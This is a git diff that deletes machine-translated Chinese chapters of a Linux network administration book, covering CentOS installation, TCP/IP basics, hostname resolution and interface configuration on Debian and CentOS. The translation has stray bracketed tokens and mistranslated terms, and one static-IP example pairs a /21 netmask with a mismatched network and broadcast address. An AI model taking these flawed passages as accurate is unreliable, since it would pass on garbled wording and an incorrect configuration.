you'll choose your language. When finished, click on the icon labeled **Done** on the top-left corner. - - ![Acquiring and installing CentOS 7](img/B03919_01_32.jpg) - - 语言选择 - -4. Don't skip the **NETWORK & HOSTNAME** section. By default, networking isn't even enabled at all, so you can enable it by clicking on the toggle switch next to your interface. Near the bottom, you can type in the desired host name of your computer. When finished, click on **Done**. - - ![Acquiring and installing CentOS 7](img/B03919_01_33.jpg) - - 安装 CentOS 时的组网配置 - -5. In the **DATE & TIME** section, you can set up your clock and location. Keep in mind that if you didn't enable your network interface in the **NETWORK & HOSTNAME** section, you'll be unable to utilize NTP. - - ![Acquiring and installing CentOS 7](img/B03919_01_34.jpg) - - 日期和时间配置 - -6. Completing the **INSTALLATION DESTINATION** section is compulsory. Here, you will select which disk to install CentOS onto, as well as your partitioning scheme. In this walkthrough, we'll select a disk and keep the default partitions, but feel free to customize the partition scheme if you prefer. - - ![Acquiring and installing CentOS 7](img/B03919_01_35.jpg) - - CentOS 安装程序中的磁盘配置部分 - -7. By default, CentOS will be a **Minimal Install**. This means that there will be no graphical user interface, just the default packages. If you prefer, you can opt for a desktop environment such as GNOME or KDE by selecting the corresponding option. - - ![Acquiring and installing CentOS 7](img/B03919_01_36.jpg) - - CentOS 软件选择 - -8. After you click on **Begin Installation**, you'll be brought to the second main section of the installation procedure while CentOS installs itself onto your system in the background. This section is much smaller and has just two steps. We'll set our root password and create a standard user account. - - ![Acquiring and installing CentOS 7](img/B03919_01_37.jpg) - - CentOS 用户配置 - -9. For the root password, choose something secure. A password meter will show the presumed strength of the password. Click on **Done** when finished. - - ![Acquiring and installing CentOS 7](img/B03919_01_38.jpg) - - 根密码输入 - -10. Finally, we'll create a standard user. On this screen, we'll enter the values in the **Full name** and **Username** fields, and choose a strong value for **Password**. You can also tick the box labeled **Make this user administrator**, if necessary. - - ![Acquiring and installing CentOS 7](img/B03919_01_39.jpg) - - CentOS 用户创建 - -11. Finally, when installation is complete, click on **Reboot** and we're all set. - - ![Acquiring and installing CentOS 7](img/B03919_01_40.jpg) - - 完成 CentOS 安装的确认 - -完成这些之后,您可以随意设置您可能需要的 Linux 安装。 在以后的章节中,我们将使用这些安装来配置网络并提高我们的知识。 - -# 总结 - -在本章中,我们完成了设置我们的环境。 我们讨论了虚拟机和物理机作为网络节点,我们甚至安装了一两个 Debian 和 CentOS。 - -现在我们已经设置了环境,现在可以开始了。 在[第二章](02.html "Chapter 2. Revisiting Linux Network Basics"),*中,我们将介绍我们在这次旅程中所需要的所有命令,例如,配置网络接口,手动连接到网络,以及设置网络管理器。 请继续关注!***** \ No newline at end of file diff --git a/docs/master-linux-net-admin/02.md b/docs/master-linux-net-admin/02.md deleted file mode 100644 index 0f2f2117..00000000 --- a/docs/master-linux-net-admin/02.md +++ /dev/null @@ -1,490 +0,0 @@ -# 二、重温 Linux 网络基础 - -无论你是有很多 Linux 网络的知识,还是你刚刚开始,我们将在本章完成 Linux 网络的基础知识。 虽然 Linux 中的 TCP/IP 堆栈是使用与其他平台相同的特性实现的,但是使用特定的工具来管理这样的网络。 在这里,我们将讨论 Linux 如何处理 IP 地址、网络设备命名以及使接口向上和向下。 此外,我们将讨论用于管理界面的图形化和非图形化工具。 - -在本章中,我们将介绍: - -* 了解 TCP/IP 协议套件 -* 命名网络设备 -* 理解 Linux 主机名解析 -* 了解 iproute2 和网络工具套件 -* 手动管理网口 -* 使用网络管理器管理连接 - -# 了解 TCP/IP 协议套件 - -TCP/IP 是目前最流行的网络协议。 它不仅是 Internet 的主要协议套件,而且几乎可以在任何支持某种形式的网络连接的设备上找到它。 你的电脑非常了解这个套件,但是现在你的手机,电视,甚至一两个厨房设备都支持这个技术。 它真的无处不在。 虽然 TCP/IP 通常被称为一种协议,但它实际上是由几个单独的协议组成的**协议套件**。 从名称中,我相信您可以推断出其中两个是 TCP 和 IP 协议。 此外,还有第三种协议,UDP,它也是这个协议套件的一部分。 - -**TCP**是**传输控制协议**的首字母缩写。 它负责将网络传输分解成序列(也称为包或段),然后将这些序列发送到目标节点,并由另一端的 TCP 重新组装成原始消息。 除了管理数据包外,TCP 还确保它们被正确接收(尽其最大能力)。 它通过**错误纠正**来做到这一点。 如果一个数据包没有被目标接收到,TCP 将重新发送它。 它知道这样做是因为**重传时间**r。 - -在讨论错误纠正和重传之前,让我们先看看 TCP 用于发送数据的实际过程。 在建立连接时,TCP 执行**三次握手**,该握手由三个特殊的包组成,在通信节点之间发送。 第一个报文,**同步**SYN,由发送端发送给接收端。 本质上,它是节点宣布它想要开始通信的方式。 在接收端,一旦(如果)收到数据包,一个**SYN/ACK**(**同步确认**)报文被发送回发送端。 最后,从发送端向接收端发送一个**ACK**(**acknowledge**)数据包,这是一个全面的验证,证明传输已经全部就绪,可以继续进行。 从这一点开始,连接就建立起来了,两个节点就可以互相发送信息。 然后再发送数据包,这些数据包构成了通信的剩余部分。 - -如果我们生活在一个完美的世界,这将是所有需要的。 在传输过程中,信息包永远不会丢失,带宽将是无限的,信息包也永远不会在传输过程中损坏。 不幸的是,我们并不是生活在一个完美的世界里,数据包总是会丢失或损坏。 TCP 有内置的特性来处理这些类型的事情。 错误校正有助于确保接收的数据包与发送的数据包是相同的。 TCP 报文中包含校验和,校验和通过算法进行验证。 如果验证失败,则认为报文不正确,丢弃该报文。 这种验证并不完美,所以您刚刚下载的文件仍然可能有一两个错误,但总比没有好。 大多数时候,它工作得很好。 - -TCP 的流量控制特性处理数据传输的速度。 虽然我们大多数极客都有一套很好的网络硬件,能够处理大量的带宽,但互联网并不是一个一致的地方。 你的超级高端交换机可能能够处理你扔给它的任何东西,但这真的不重要,如果在连接的上游某处有一个弱链接。 网络传输的速度取决于它的最慢点。 当您向另一个节点发送传输时,您只能发送其缓冲区所能容纳的数据。 在某一时刻,它的缓冲区将被填满,然后无法接收任何额外的数据包,直到它处理它已经拥有的数据包。 此时,发送到接收器的任何额外数据包都会被丢弃。 发送方看到它不再接收 ACK 回复,然后后退并减慢它的传输速率。 这是 TCP 使用的方法,以便根据接收节点能够处理的内容来调整传输速度。 - -流量控制的工作原理是利用所谓的**滑动窗口**。 接收节点指定了所谓的**接收窗口**,它告诉发送方在过载之前能够接收多少数据。 一旦这个接收窗口干涸,发送方将等待接收方澄清它已经准备好再次接收数据。 当然,如果接收端向发送方发送了一个更新,表明它已经准备好接收数据,而发送方从未收到 memo,那么如果发送方一直等待在传输过程中丢失的清除所有信息,就会遇到真正的问题。 幸运的是,我们有一个**持续计时器**来帮助解决这个问题。 本质上,持久计时器表示发送方在需要验证连接仍然是活动的之前愿意等待多长时间。 一旦持续计时器结束,发送方就向接收方发送另一个包,以查看它是否能够处理它。 如果发送了应答,应答包将包含另一个接收窗口,这表明它确实准备好继续对话了。 - -**IP**(简称**Internet 协议**)处理 TCP 要发送或接收的报文的实际发送和接收。 在每个包中,有一个称为**IP 地址**的目的地(我们将在本章中进一步讨论)。 每个连接的网络接口都有自己的 IP 地址,IP 协议将使用该 IP 地址来确定数据包需要去哪里,或者它来自哪个设备。 TCP 和 IP 组成了一个强大的团队。 TCP 将通信分成数据包,IP 负责将它们路由到目的地。 - -当然,还有**UDP**(简称**用户数据报协议**),这也是套件的一部分。 它与 TCP 非常相似,因为它将传输分解为数据包。 然而,主要的区别是 UDP 是无连接的**。 这意味着 UDP 不验证任何东西。 它发送数据包,但不保证传输。 如果一个数据包没有被目标接收到,它将不会被重发。** - - **那些第一次学习 UDP 的人可能会问,为什么会考虑这样一个不值得信任的协议。 事实上,在某些情况下,面向连接的协议(如 TCP)可能会给某些类型的传输增加不必要的开销。 其中一个例子是通过 Skype 联系同事,它提供互联网上的音频通话和视频通话。 如果一个包在通信过程中被任何一端丢失,那么重新发送它就没有多大意义了。 你只会听到一两秒钟的静电,重传数据包当然不会改变你听不到一个或两个单词的事实。 在这样的传输中添加错误校正是没有意义的,而且会增加开销。 - -对 TCP/IP 的整体讨论本身就是一本好书。 在 Linux 中,该协议的处理方式与其他平台非常相似,真正的区别在于如何管理该协议。 在本书中,我们将讨论如何管理这个协议并调整我们的网络。 - -# 网络设备命名 - -现在,计算机有多个网络接口是很常见的。 例如,如果您正在使用笔记本电脑(除了超级本),那么您可能有有线和无线网络接口。 每个网络接口都有自己的 IP 地址,它们彼此独立地运行。 实际上,您甚至可以在多个接口之间路由流量,尽管在大多数 Linux 发行版中,这通常在缺省情况下是禁用的。 就像每个接口都有自己的 IP 地址一样,每个接口也将由系统用自己的设备名称来标识。 在我们进一步讨论这个问题之前,先看看您系统上的设备名称。 打开一个终端,输入以下命令: - -```sh -ip addr show - -``` - -你的输出会像这样: - -![Naming the network device](img/B03919_02_01.jpg) - -ip 命令的输出,显示网络接口和地址分配 - -在这个示例中,我们看到列出了三个网络接口。 第一个,`lo`,是本地环回适配器。 第二个清单`eth0`是有线接口。 最后,`wlan0`表示无线接口。 有了这个输出,您可以推断插入了一根网线(`eth0`有一个 IP 地址),而且它目前没有使用其无线接口(`wlan0`没有列出 IP 地址)。 - -前面显示的输出来自运行 Debian 的系统。 现在,让我们看看在 CentOS 系统上运行相同命令时的输出: - -![Naming the network device](img/B03919_02_02.jpg) - -ip 命令的输出,这次是在 CentOS 系统上运行 - -你看到区别了吗? 如果查看有线连接,就会发现它的名称与 Debian 示例中的有线连接非常不同。 在 Debian 中,它被命名为`eth0`。 但是在 CentOS 上,它被命名为`enp0s3`。 这就引出了本节的重点:在 CentOS 和 Debian 中网络设备的命名不同。 - -过去,有线以太网设备的命名以`eth`为前缀,无线设备的命名以`wlan`为前缀。 例如,第一个有线以太网适配器将被标记为`eth0`; 第二个是`eth1`,以此类推。 无线设备的处理也类似,第一个设备是`wlan0`,第二个设备是`wlan1`,以此类推。 对于 Debian,情况仍然如此(即使是在较新的版本中)。 然而,一些使用**systemd**的发行版为网络设备提供了不同的命名方案。 事实上,Debian 9 一旦发布就会改变它的接口命名方案。 - -这种变化的原因是以前的命名方案有时是不可预测的。 当机器重新启动时,可能会有交叉的网络设备名称,导致混淆哪个接口是哪个接口。 各种分布以他们自己的方式处理这个问题,但 systemd 建于命名方案基于卡片的位置系统的公共汽车,而不是使用名称`eth0`、`eth1`等等设备探测。 如前所述,Debian 仍然使用较旧的命名方案,尽管 Debian 8 也使用了 systemd。 在这本书中,我们将练习系统命令; 然而,systemd 将在[第 5 章](05.html "Chapter 5. Monitoring System Resources"),*监控系统资源*中更彻底地解释,所以如果你还不知道它是如何工作的,不要太担心。 - -对于第二个示例中使用的 CentOS 机器,有线网卡被指定为`enp0s3`。 那么,这到底意味着什么呢? 首先,我们知道`en`代表以太网,这部分名称是给有线网卡的。 给定名称的其余部分表示网卡在系统总线上的位置。 由于每个有线卡,如果你有一个以上,将驻留在它自己的物理位置,给设备的名称将是可预测的。 如果您要为特定的网络接口编写启动脚本,那么您可以合理地确定要编写脚本来引用适当的设备。 - -# 理解 Linux 主机名解析 - -在一个网络上,通过名称查找其他资源要方便得多,而不是记住我们所连接的每个资源的 IP 地址。 默认情况下,如果没有一点配置,通过名称查找主机可能无法发挥作用。 例如,您可以针对您的一台 Linux 机器的名称尝试使用`ping`命令,您可能会得到响应,也可能不会得到响应。 这是因为您正在连接的资源的 DNS 条目可能不存在。 如果没有,你会看到一个类似如下的错误: - -```sh -ping: unknown host potato - -``` - -然而,如果你通过它的 IP ping 设备,它很可能会响应: - -```sh -64 bytes from 10.10.96.10: icmp_seq=2 ttl=64 time=0.356 ms - -``` - -### 注意事项 - -按键盘上的*Ctrl*+*C*来中断`ping`命令,因为如果找到连接,它将永远 ping。 - -这样做的原因是,为了让一个网络主机能够联系到另一个主机,它需要知道自己的 IP 地址。 如果你键入一个名称,而不是一个 IP 地址,机器就会尝试主机名解析,如果有一个有效的进入**域名系统(DNS**)机器试图联系你,你就可以收到回复。 与基于 windows 的微软网络**动态主机配置协议**(**【显示】DHCP)和 DNS 服务器,是很典型的服务器注册一个**动态 DNS 条目【病人】每当它分配一个 IP 地址到主机。 基于 linux 的 DHCP 和 DNS 服务器也能够使用动态 DNS,但在默认情况下不进行配置,管理员也很少启用动态 DNS。 在一个全 Linux 网络或任何不动态分配 DNS 的网络中,这个 ping 很可能会失败。 我们将在[第六章](06.html "Chapter 6. Configuring Network Services"),*配置网络服务*中详细讨论 DNS。**** - - ****在大多数情况下,DNS 并不是 Linux 主机解析主机名的首选位置。 还有一个本地保存在系统上的文件(`/etc/hosts`),您的机器将首先检查该文件。 如果您正在联系的主机的条目没有包含在其中,那么您的机器将联系它配置的主要 DNS 服务器,以便为您输入的名称找到一个 IP 地址。 下面是一个`host`文件的例子: - -```sh -127.0.0.1 localhost -127.0.1.1 trinity-debian - -# The following lines are desirable for IPv6 capable hosts -::1 localhost ip6-localhost ip6-loopback -ff02::1 ip6-allnodes -ff02::2 ip6-allrouters - -``` - -在呈现的`hosts`文件中,我们可以看到一个`localhost`的条目和一个`trinity-debian`的条目。 这两个以`127.0.x.x`IP 地址开头的条目都代表机器本身。 要测试这一点,请尝试 ping`localhost`和您的机器名称(在本例中为`trinity-debian`)。 不管怎样,你都会得到回复。 这是因为机器知道它的主机名,并且`localhost`使用环回适配器到达它自己。 如果您愿意这样做,您可以在这个文件中创建与 IP 地址匹配的附加名称。 例如,如果您在 IP 地址`10.10.96.10`上有一台名为`potato`的计算机,您可以将其添加到`hosts`文件的末尾,如下所示: - -```sh -10.10.96.10 potato - -``` - -从现在开始,您可以通过键入`potato`来到达 IP 地址`10.10.96.10`。 你可以 ping 它,或者甚至把它输入到浏览器的地址栏中(如果机器正在提供网络内容)。 事实上,主机条目甚至不需要是网络中的本地资源。 您甚至可以输入一个外部网站的 IP 地址,并通过不同的名称访问它。 然而,这只在理论上有效——一个设计良好的网站可能无法在这种情况下运行。 - -虽然首先检查`/etc/hosts`,但是您的 Linux 安装包括一个文件`/etc/nsswitch.conf`,它用来对主机解析发生的顺序做出最终决定。 有问题的行以`hosts`开头,您可以使用以下命令轻松地检查您机器上的主机解析顺序: - -```sh -cat /etc/nsswitch.conf |grep hosts - -``` - -你会得到以下输出: - -```sh -hosts: files mdns4_minimal [NOTFOUND=return] dns - -``` - -在这里,我们可以看到系统被设置为首先检查`files`,它代表本地文件,其中包括`/etc/hosts`。 如果搜索的是一个本地域,但没有找到该域,则`NOTFOUND=return`条目将导致终止其余的搜索。 如果您正在搜索其他内容,那么下一个要使用的资源就是 DNS,如图所示,`dns`是最后一个条目。 除非您更改了该文件,否则您的发行版很可能还会被设置为首先在本地主机文件中查找,如果在本地没有找到该资源,则先在 DNS 中查找。 - -# 了解 net-tools 和 iproute2 套件 - -很长一段时间以来,**net-tools**已经成为 Linux 系统上用于管理网络连接的工具套件。 网络工具套件包括诸如`ifconfig`、`route`、`netstat`等命令(我们稍后将讨论这些命令)。 net-tools 的问题是它还没有被更新的开发人员超过十年,许多分布选择放弃它的【显示】**iproute2 套件,提供相同的功能(但不同的命令来实现相同的目标)。 尽管网络工具已被弃用,但仍有相当多的发行版包含它。 例如,Debian 同时包含 iproute2 和 net-tools,因此您可以使用来自这两个套件的命令。 在 CentOS 中,iproute2 是存在的,尽管在默认情况下没有安装 net-tools。 如果你想使用旧的网络工具,你可以用下面的命令安装它在 CentOS:** - -```sh -# yum install net-tools - -``` - -那么,如果`net-tools`正在被抛弃,为什么还要安装它呢? 许多系统仍然有使用来自 net-tools 套件的命令的脚本,所以它不会很快从 Linux 社区中消失。 学习网络工具,以及更新的 iproute2,将使您轻松适应任何环境。 对于使用旧发行版的旧数据中心来说尤其如此。 - -让我们看看这些套件的实际应用。 首先,要报告网络连接的基本信息,输入以下命令: - -```sh -/sbin/ifconfig - -``` - -您应该看到以下输出: - -![Understanding the net-tools and iproute2 suites](img/B03919_02_03.jpg) - -ifconfig 命令的输出信息 - -在这里,我们可以看到来自内部有线连接(`eth0`)和环回适配器(`lo`)的统计数据。 我们看到`HWaddr`,它是网卡的**MAC 地址**。 我们还有`inet addr`,它是该卡由**DHCP 服务器**提供的 IP 地址。 此外,我们还可以看到子网掩码`Mask`,在本例中为`255.255.252.0`。 在排除网络问题时,我们将使用这个工具检查这些基本的事情,例如确保我们有一个 IP 地址,并且我们在适当的子网上。 此外,我们还可以看到在接口上发送和接收数据包的数量,以及错误的数量。 - -在 iproute2 套件中,我们可以通过下面的命令找到大部分相同的信息: - -```sh -ip addr show - -``` - -下面是参考机器的输出: - -![Understanding the net-tools and iproute2 suites](img/B03919_02_04.jpg) - -ip addr show 命令的输出信息 - -正如您可以看到的,报告的信息基本相同,尽管布局略有不同。 例如,一个区别是您看不到发送和接收的数据包的数量,也看不到错误计数(在默认情况下)。 在过去,下面的命令会显示正在使用的 IP 地址以及发送和接收的数据包: - -```sh -ip -s addr show - -``` - -![Understanding the net-tools and iproute2 suites](img/B03919_02_05.jpg) - -添加-s 标志的 ip addr show 命令的输出信息 - -不幸的是,最近的 iproute2 套件的版本似乎不再显示这些信息(尽管添加了`-s`开关),但是我们将在本书的后面讨论其他工具。 - -### 注意事项 - -除了前面的命令中的`addr`,您还可以输入整个字符串(地址),例如: - -```sh -ip address show - -``` - -输出将是相同的。 这些示例中显示的命令经过了压缩,从而节省了输入时间。 - -iproute2 套件提供了比这些更多的命令,我们将在本书中继续讨论它们。 现在,重要的是要理解这两个命令套件之间的区别,并注意到网络工具不会永远可用。 在这本书的写作时期,这两种情况都很常见。 然而,iproute2 是未来游戏的名字。 - -在结束本节之前,iproute2 套件中有一个非常简单的命令,可能会被证明是有用的: - -```sh -hostname - -``` - -这个简单的命令只是打印连接 shell 的机器的主机名。 如果您正在使用默认的 bash 提示符,那么很可能您已经知道机器的主机名。 然而,主机名命令至少可以帮助您验证您的设备正在报告您认为应该报告的主机名; 这在处理名称解析问题时很有用。 - -# 手动管理网络接口 - -在大多数情况下,在您安装了您想要的 Linux 发行版之后,它会通过 DHCP 接收一个 IP 地址并离开。 无论您使用的是图形化桌面环境还是没有 GUI 的 shell 环境,魔术大多发生在后台。 虽然有 GUI 工具来管理您的网络连接,但是您可以通过图形工具来完成的任何事情都可以通过 shell 来完成。 在服务器的情况下,可能根本就没有图形环境,因此学习如何通过 shell 管理您的网络连接非常重要。 在本节中,我们将讨论在 Debian 中手动配置接口的方法,然后讨论如何在 CentOS 中做同样的事情。 - -在前一节中,讨论了查找当前 IP 地址的两种方法。 取决于您的发行版是使用 net-tools 还是 iproute2,您可以使用其中一种方法或另一种方法(或两者都使用)。 当然,这是第一步。 你有电话吗? 检查是否有 IP 地址是一个合理的开始。 你也可以利用一个简单的 ping 测试: - -```sh -ping www.yahoo.com - -``` - -如果您确实收到了响应,那么很可能您有一个网络连接。 然而,如果您没有得到响应,这并不一定意味着您的网络有问题。 有些站点被配置为不响应 ping 测试。 只要有可能,就用 ping 来代替本地资源(比如本地 DNS 或 DHCP 服务器)。 - -在 Linux 中,ping 的工作方式与 Windows 略有不同。 对于初学者来说,Linux 中的`ping`命令在默认情况下实际上会一直运行下去。 要破解它,按键盘上的*Ctrl*+*C*。 如果您希望`ping`在进行一定次数的尝试后停止,则添加`-c`标志,并添加希望`ping`尝试的次数。 在本例中,我们的`ping`命令如下所示: - -```sh -ping -c 4 www.yahoo.com - -``` - -在这种情况下,`ping`将尝试四次,停止,然后向您报告一些基本的统计数据。 - -知道如何检查自己是否有联系是一回事,但是当你没有联系的时候你会怎么做呢? 或者,如果您的网络连接是活动的,但报告了无效的信息,您需要重新配置它,该怎么办? - -首先,让我们看看如何检查当前配置。 在 Debian 中,默认控制网络设备的文件如下: - -```sh -/etc/network/interfaces - -``` - -根据中的几个变量(包括如何配置 Debian 安装),这个文件的创建方式可能有所不同。 首先,您可能会看到列出了几个接口,例如环回适配器、有线以太网和无线接口。 如果您有多个有线接口,您还会在这里看到其他适配器。 简单地说,这个文件是一个**配置文件**。 它是一个文本文件,其中包含底层 Linux 系统能够理解的信息,并导致按照文件中指定的方式配置设备。 - -要编辑这样的文件,有许多 Linux 文本编辑器可用,包括基于 GUI 的和基于终端的。 我个人最喜欢的是**vim**,尽管许多管理员通常从**nano**开始。 纳米文本编辑器使用起来相当简单,尽管功能非常少。 另外,vim 比 nano 有更多的特性,但有点难以适应。 随你挑吧。 要在 nano 中打开一个文件,你所需要做的就是键入`nano`和你想编辑的文本文件的名称。 如果文件不存在,如果保存文件,该命令将创建它。 在我们的`/etc/network/interfaces`文件中,命令如下所示: - -```sh -# nano /etc/network/interfaces - -``` - -使用纳米仅仅是打开一个文件,使用键盘上的箭头键将插入点移动到你想要类型,按*Ctrl + O**保存文件,并按**Ctrl + X 退出**。 还有更多的特性,但是为了编辑我们的配置文件,这就是我们现在所需要的。 关于 vim 的教程超出了本书的范围,但是如果您愿意,可以随意使用它。* - -现在,回到我们的`/etc/network/interfaces`文件的主题。 需要注意的是,以太网和无线适配器不需要这个文件。 如果您在这个文件中看不到任何东西(除了环回设备),这意味着网络连接正在由**网络管理器**管理。 Network Manager 是一个用于管理客户端网络连接的图形化工具(我们将在本章后面讨论)。 出于本节的目的,当您决定在第一次设置 Debian 时包含图形桌面环境时,通常会安装 Network Manager。 如果您确实选择了图形化环境(如 GNOME、Xfce 等),那么很可能已经为您设置了 Network Manager,并且正在处理配置界面的工作。 如果您的`interfaces`文件除了环回适配器的条目以外是空的,那么这意味着网络管理器正在处理这个任务。 - -使用 Debian 时,很容易看到安装过程中根本没有安装图形环境。 GUI 通常不是服务器实现其目的所必需的。 典型的 Linux 管理员将使用完成其工作所需的最小包配置服务器,这通常不包括桌面环境。 在这种情况下,网络管理器可能根本不安装。 如果不是,那么`/etc/network/interfaces`文件将负责建立连接。 在其他情况下,可能安装了网络管理器,但被在此文件中配置网络连接的管理员禁用了。 - -那么,什么时候应该使用网络管理器,什么时候应该在`interfaces`文件中配置连接? 对于终端用户工作站(台式机和笔记本电脑),Network Manager 几乎总是首选。 对于服务器,最好在`/etc/network/interfaces`中设置配置,特别是在设置静态 IP 地址时。 - -我们已经讨论了`interfaces`文件是什么,以及什么时候需要使用它。 现在,让我们看看`some`您可能会看到的各种类型的配置。 首先,当只列出本地环回适配器时,让我们看一下`interfaces`文件: - -```sh -cat /etc/network/interfaces - -# The loopback network interface -auto lo -iface lo inet loopback - -``` - -### 注意事项 - -注释是用第一个字符`#`声明的,它在解析配置文件时被忽略。 在前面的例子中,第一行被忽略,它只是作为信息。 - -在本例中,机器很可能正在使用 Network Manager,因为既没有显示有线(通常是`eth0`)接口,也没有显示无线(通常是`wlan0`)接口。 为了验证这一点,我们可以检查网络管理器是否通过以下命令运行: - -```sh -ps ax |grep NetworkManager - -``` - -如果 Network Manager 正在运行,你可能会看到这样的输出: - -```sh -446 ? Ssl 0:00 /usr/sbin/NetworkManager --no-daemon - -``` - -这个谜已经解开了; 这台机器使用网络管理器,所以在`/etc/network/interfaces`中没有存储`eth0`或`wlan0`的配置。 现在,让我们看一个来自没有使用 Network Manager 的机器的示例。 要在这样的安装中配置`eth0`,`interfaces`文件应该如下所示: - -```sh -# The loopback network interface -auto lo -iface lo inet loopback - -# Wired connection eth0 -auto eth0 -iface eth0 inet dhcp - -``` - -正如我们所看到的,我们仍然有和以前一样的环回入口,但是在文件的末尾,包含了`eth0`的配置细节。 就像在环回入口中一样,我们声明了`auto`,然后是一个接口名称`eth0`,这意味着我们希望接口`eth0`自动出现。 在下一行中,我们澄清了我们希望将`dhcp`用于接口`eth0`,以便它将自动从 DHCP 服务器获取 IP 地址。 - -在真实的世界中,当我们要做的所有事情都是使用 DHCP 时,没有好的理由放弃 Network Manager 而支持手动配置连接。 但是,这里包含这个示例是因为,在服务器从 DHCP 服务器接收到**静态租期**而不是动态租期的情况下,它实际上是相当常见的。 使用静态租期,DHCP 服务器每次为特定的 MAC 地址提供相同的 IP 地址。 所以在这种情况下,服务器可以有一个指定的 IP 地址,但 IP 地址仍然是由 DHCP 服务器提供的。 这也称为**DHCP 预留**。 - -当然,也可以(可能更常见)在接口文件中简单地声明一个静态 IP。 接下来我们将探索这种方法。 但静态租赁值得指出,因为它确实带来了额外的好处。 使用静态租期,节点的 IP 配置不会绑定到其安装发行版的配置。 如果从实时媒体引导,或者即使重新安装了分发版,节点在每次接口出现时仍然会收到相同的 IP 地址。 静态租赁权的另一个好处是,您可以在一个中心位置(在 DHCP 服务器上)配置所有节点的静态 ip,而不必跟踪各个机器之间的配置文件。 - -### 注意事项 - -需要注意的是,看到接口的`interfaces`文件中列出的`dhcp`并不总是意味着使用了静态租期。 对于 Debian,管理员通常不安装 Network Manager,然后在启动服务器时手动键入`interfaces`文件。 - -现在,让我们看看一个例子`interfaces`文件,其中静态 IP 已经被手动配置: - -```sh -# The loopback network interface -auto lo -iface lo inet loopback - -# Wired connection eth0 -auto eth0 -iface eth0 inet static - address 10.10.10.12 - netmask 255.255.248.0 - network 10.10.10.0 - broadcast 10.10.10.255 - gateway 10.10.10.1 - -``` - -首先,注意下面一行中的变化: - -```sh -iface eth0 inet static - -``` - -最后,我们声明`static`而不是`dhcp`。 如果我们忘记修改它,那么配置文件的所有剩余行都将被忽略。 - -然后,我们声明接口`eth0`的统计信息。 我们设置 IP 地址为`10.10.10.12`,子网掩码为`255.255.248.0`,所连接的网络为`10.10.10.0`,广播 ID 为`10.10.10.255`,网关为`10.10.10.1`。 我们将在本书后面讨论这些值的实际含义,但现在需要注意的是该文件的语法。 - -因此,现在您可能想知道,既然我们经历了配置界面的麻烦,我们如何使这些更改生效。 为此,您可以使用以下命令: - -```sh -# systemctl restart networking.service - -``` - -在 CentOS 中,手动配置网络接口的过程与 Debian 系统有些不同。 首先,我们需要知道我们的机器上安装了哪些接口。 运行以下命令将列出它们,以及当前分配的任何 IP 地址: - -```sh -ip addr show - -``` - -在本节中,我将使用`enp0s3`,这是本书所使用的测试机器上的默认值。 如果您的命令不同,请相应地更改这些示例命令。 无论如何,现在我们知道了要使用的接口,让我们配置它。 接下来,导航到以下目录: - -```sh -cd /etc/sysconfig/network-scripts - -``` - -如果列出该目录(`ls`命令)中文件的存储位置,应该会看到一个名称与接口名称相匹配的配置文件。 在我们的`enp0s3`示例中,您应该看到一个名为`ifcfg-enp0s3`的文件。 - -用你选择的文本编辑器打开这个文件,你会看到配置类似如下: - -```sh -HWADDR="08:00:27:97:FE:8A" -TYPE="Ethernet" -BOOTPROTO="dhcp" -DEFROUTE="yes" -PEERDNS="yes" -PEERROUTES="yes" -IPV4_FAILURE_FATAL="no" -IPV6INIT="yes" -IPV6_AUTOCONF="yes" -IPV6_DEFROUTE="yes" -IPV6_PEERDNS="yes" -IPV6_PEERROUTES="yes" -IPV6_FAILURE_FATAL="no" -NAME="enp0s3" -UUID="a5e581c4-7843-46d3-b8d5-157dfb2e32a2" -ONBOOT="yes" - -``` - -如您所见,这个默认文件正在使用`dhcp`,它列在第三行中。 为了配置这个连接以使用一个静态地址,我们需要相应地修改文件。 对文件的更改以粗体标记: - -```sh -HWADDR="08:00:27:97:FE:8A" -TYPE="Ethernet" -BOOTPROTO="static" -IPADDR=10.10.10.52 -NETMASK=255.255.255.0 -NM_CONTROLLED=no -DEFROUTE="yes" -PEERDNS="yes" -PEERROUTES="yes" -IPV4_FAILURE_FATAL="no" -IPV6INIT="yes" -IPV6_AUTOCONF="yes" -IPV6_DEFROUTE="yes" -IPV6_PEERDNS="yes" -IPV6_PEERROUTES="yes" -IPV6_FAILURE_FATAL="no" -NAME="enp0s3" -UUID="a5e581c4-7843-46d3-b8d5-157dfb2e32a2" -ONBOOT="yes" - -``` - -这里,我们只对文件做了 4 个更改。 首先,我们将`BOOTPROTO`改为`static`。 然后,我们在它下面添加了以下全新的行: - -```sh -IPADDR=10.10.10.52 -NETMASK=255.255.255.0 -NM_CONTROLLED=no - -``` - -我相信您可以收集到前两行负责的内容。 我们添加的第四行可能也很明显,但以防万一,我们基本上是在告诉我们的系统,我们宁愿不通过网络管理器管理我们的连接,并希望通过这个配置文件自己处理。 - -当然,为了使这些更改生效,我们需要重新启动网络。 因为 CentOS 使用 systemd(就像 Debian 8),命令非常相似: - -```sh -# systemctl restart network.service - -``` - -就这样了。 我们在 Debian 和 CentOS 中都手动设置了网络接口。 - -# 使用网络管理器管理连接 - -虽然我们刚刚经历了手动配置网络接口的麻烦,但这种情况并不总是可取的。 例如,终端用户工作站将受益于 Network Manager 为我们处理这项工作。 对于笔记本电脑及其无线接口,网络管理器比我们大多数人做得更好。 - -大多数 Linux 发行版通常默认安装网络管理器。 对于 Debian,当您选择图形桌面环境时,通常会安装它。 如果您选择只安装 shell(在安装过程中,您没有选中桌面环境的选项),那么您可能没有安装它。 当然,执行以下命令(适用于 Debian 和 CentOS): - -```sh -ps ax |grep NetworkManager - -``` - -如果您看到网络管理器正在运行,那么就安装了它。 但是为了确保安全,你可以在 Debian 中执行这个命令: - -```sh -aptitude search network-manager - -``` - -如果安装了网络管理器,你会看到它如下所示(在它的左边会有一个`i`名称): - -在 CentOS 操作系统中,可以通过以下命令检查是否安装了 Network Manager。 - -```sh -yum list installed |grep NetworkManager - -``` - -如果您正在运行一个桌面环境,您可能在系统托盘中运行一个 Network Manager 实现。 如果是这样,可以通过可用的 GUI 工具轻松地管理您的连接。 根据您所使用的桌面环境的不同,操作说明也会有所不同。 在本节中,我们将讨论一种使用 Network Manager 配置连接的更通用的方法。 该方法使用如下命令: - -```sh -nmtui - -``` - -`nmtui`命令允许您在 shell 环境中配置 Network Manager,但是使用类似 gui 的控件。 - -![Managing connections with Network Manager](img/B03919_02_06.jpg) - -通过 nmtui 配置系统的网络连接 - -如果我们点击**编辑一个连接**,我们将看到我们机器上可用接口的列表: - -![Managing connections with Network Manager](img/B03919_02_07.jpg) - -nmtui 界面选择 - -当我们选择接口时,我们首先会看到一些基本信息。 - -![Managing connections with Network Manager](img/B03919_02_08.jpg) - -在 nmtui 